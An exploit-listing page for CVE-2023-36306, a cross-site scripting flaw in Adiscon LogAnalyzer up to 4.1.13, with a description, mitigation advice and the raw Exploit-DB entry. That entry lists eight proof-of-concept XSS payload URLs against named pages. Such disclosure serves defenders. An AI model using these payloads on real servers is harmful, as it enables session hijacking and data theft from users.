Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting

vendor:

LogAnalyzer

by:

Pedro (ISSDU TW)

6.1

CVSS

MEDIUM

Cross Site Scripting

CWE

Product Name: LogAnalyzer

Affected Version From: v4.1.0

Affected Version To: v4.1.13

Patch Exists: NO

Related CWE: CVE-2023-36306

CPE: loganalyzer.adiscon.com

Metasploit:

Other Scripts:

Platforms Tested: Linux

2023

Adiscon LogAnalyzer v.4.1.13 – Cross Site Scripting

The Adiscon LogAnalyzer version 4.1.13 and earlier is vulnerable to cross-site scripting (XSS) attacks. The vulnerability allows an attacker to inject malicious scripts into certain URLs, leading to potential XSS attacks. The issue exists in various pages of the application, such as 'asktheoracle.php', 'chartgenerator.php', 'details.php', 'index.php', 'search.php', 'export.php', 'reports.php', and 'statistics.php'. By exploiting this vulnerability, an attacker can execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, information theft, or other malicious actions.

Mitigation:

To mitigate this vulnerability, it is recommended to update the Adiscon LogAnalyzer software to a version that includes a patch for this issue. Additionally, users should be cautious when clicking on unknown or suspicious URLs.

Source

Exploit-DB raw data:

# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
# Date: 2023.Aug.01
# Exploit Author: Pedro (ISSDU TW)
# Vendor Homepage: https://loganalyzer.adiscon.com/
# Software Link: https://loganalyzer.adiscon.com/download/
# Version: v4.1.13 and before
# Tested on: Linux
# CVE : CVE-2023-36306

There are several installation method.
If you installed without database(File-Based),No need to login.
If you installed with database, You should login with Read Only User(at least)

XSS Payloads are as below:

XSS
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E